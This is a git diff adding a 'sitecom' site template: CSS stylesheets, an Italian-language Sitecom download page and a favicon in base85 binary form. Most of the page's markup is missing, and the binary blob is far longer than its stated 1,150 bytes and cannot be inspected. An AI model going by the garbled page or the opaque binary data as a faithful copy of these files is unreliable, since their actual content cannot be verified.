diff --git a/Sites/Template/sitecom/css/main.css b/Sites/Template/sitecom/css/main.css new file mode 100644 index 0000000..46edafe --- /dev/null +++ b/Sites/Template/sitecom/css/main.css @@ -0,0 +1,150 @@ +body{ + padding:0; + margin:0; + font-family:sans, verdana, sans-serife; + font-size:9pt; + color:#423737; + background-image:url(pictures/body_background.jpg); + background-repeat:repeat-x; + background-color:#f7f2e3; +} + +.container{ + position:relative; + margin:0px auto; /*horizontale centrering. Werkt niet in IE quircksmode. Dan text-align:center aan body toevoegen*/ + width:1000px; + background-image:url(pictures/content_background.jpg); + background-repeat:no-repeat; + background-color:#f7f2e3; +} + +.header{ + padding-top:5px; +} + +.content{ + padding:5px; + min-height:525px; +} + +.menu{ + clear:both; + margin:0 1px; + background-image:url(pictures/bg_nav.png); +} + +.topbar{display:block;height:50px;width:100%;overflow:hidden;padding:0;background:url(pictures/menu_bg.gif) no-repeat; background-position: 0 48px;} +.topbar ul#topbartabs{display:block;float:left;list-style:none;margin:0;z-index:20;padding:20px 0px 0 0;position:relative;height:30px;line-height:25px;} +.topbar ul#topbartabs li{background:url(pictures/maintableft_over.png) no-repeat left top;float:left;margin:0;padding:0px 0px 0px 6px;} +.topbar ul#topbartabs li a{background:url(pictures/maintabright_over.png) no-repeat right top;color:#A29797;display:block;font-size:11px;font-weight:bold;padding:4px 15px 3px 9px;text-align:center;white-space:nowrap;text-decoration:none;} +.topbar ul#topbartabs li a:hover{background:url(pictures/maintabright_over.png) no-repeat right top;color:#fff;text-decoration:none;} +.topbar ul#topbartabs li.actief{background:url(pictures/maintableft.gif) no-repeat left top;} +.topbar ul#topbartabs li.actief a{background:url(pictures/maintabright.gif) no-repeat right top;color:#423737;text-decoration:none;} +.topbar ul#topbartabs li.actief a:hover{background:url(pictures/maintabright.gif) no-repeat right top;color:#423737;text-decoration:none;} +/*.topbar ul#topbartabs li.over a{background:url(pictures/maintabright.png) no-repeat right top;color:#fff;text-decoration:none;}*/ + +#menu{ + list-style:none; + padding:0; + margin:0; +} + +#menu ul{ + list-style:none; +} + +#menu li{ + height:31px; + line-height:31px; + padding:0 10px; + float:left; + overflow:visible; + position:relative; + cursor:pointer; + cursor:hand; + display:block; +} + +#menu a{ + height:31px; + line-height:31px; + float:left; + text-decoration:none; + color:black; + background-image:none; +} + +#menu li:hover{ + background-image:url(pictures/bg_nav_hover.jpg); +} + +.on{ + background-image:url(pictures/bg_nav_hover.jpg); + font-weight:bold; +} + +.off{ + background-image:url(pictures/bg_nav.png); +} + +.footer{ + border-top:solid 1px #AAA; + text-align:center; + font-size:7pt; + color:#666; +} + +#menu{ + clear:both; + margin:1px; + margin-top:10px; + height:31px; + line-height:31px; + background-image:url(pictures/bg_nav.png); +} + +.background{ + background-color:#72400b; + color:#fff; + font-weight:bold; + font-size:9pt; + text-align:right; +} + +.emphasize{ + font-size:12pt; + font-weight:bold; + color:#a91d39; +} + +.highlight{ + font-weight:bold; + color:#a91d39; +} + +td { + font-size:9pt; + height:28px; +} + +th { + background-color:#72400b; + color:#fff; + font-weight:bold; + font-size:9pt; + text-align:middle; +} + +.table1 +{ height:25; color:#FFFFFF; font-size:14pt; font-family:verdana; background-color:#666666; font-weight:bold; text-align:right; } + +.table2 +{ border-bottom:1px solid #73400a } + +a.footer:link {color:#666;text-decoration:none;} +a.footer:visited {color:#666;text-decoration:none;} +a.footer:hover {color:#a91d39;} + +a.ddns:link {color:#555;text-decoration:underline;} +a.ddns:visited {color:#555;text-decoration:underline;} +a.ddns:hover {color:#a91d39;} diff --git a/Sites/Template/sitecom/css/style.css b/Sites/Template/sitecom/css/style.css new file mode 100644 index 0000000..b6e9fe2 --- /dev/null +++ b/Sites/Template/sitecom/css/style.css @@ -0,0 +1,36 @@ +span.error { + color: #CC0000; + font-size: 10px; + font-weight: bold; +} + +progress { + display: none; + width: 25em; +} + +progress.update { + display: inline-block; +} + +.bold { + font-weight: bold !important; +} + +.red { + color: #CC0000 !important; +} + +fieldset { + border: none; +} + +fieldset .bold { + display: block;/* force to a block so width and word wrap work */ + float: left;/* keep to left of following control */ + width: 183px; + margin: 1px 8px 4px 0; + padding: 0; + border: 0; + text-align: right; +} \ No newline at end of file diff --git a/Sites/Template/sitecom/download.htm b/Sites/Template/sitecom/download.htm new file mode 100644 index 0000000..4c963c6 --- /dev/null +++ b/Sites/Template/sitecom/download.htm @@ -0,0 +1,571 @@ + + + + Sitecom - Homepage + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + International + + EN +
    + Nederland + + NL +
    + Deutschland + + DE +
    + België + + BE +
    + Belgique + + BE +
    + Italia + + IT +
    + España + + ES +
    + Portugal + + PT +
    + France + + FR +
    + Luxemburg + + LU +
    + Россия + + RU +
    + + + +
  • accedi + +
  • + +
    + +
    + +
    +
    +
    +
    +
    + + Greyhound - Ora disponibile + +
    +
    + + WLM-7600 Pronto per la fibra + +
    +
    + + Wi-Fi Home Cams + +
    +
    + + USB 3.0 Docking Station + +
    +
    + + USB 3.0 Fast Charging Hub 4 Port + +
    +
    + +
    +
    +
    +
     
    + + +
    +
    +

    aiutami a scegliere un prodotto

    +
    +
    +

    +
    +
    +

    garanzia di 10-anni

    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + +
    + © 2016 by Sitecom B.V. All rights reserved  -  Informativa sulla privacy + + + + +
    + + + + + + + diff --git a/Sites/Template/sitecom/img/favicon.ico b/Sites/Template/sitecom/img/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..ae706c5b1f8326df079689c969947115d727cf01 GIT binary patch literal 1150 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 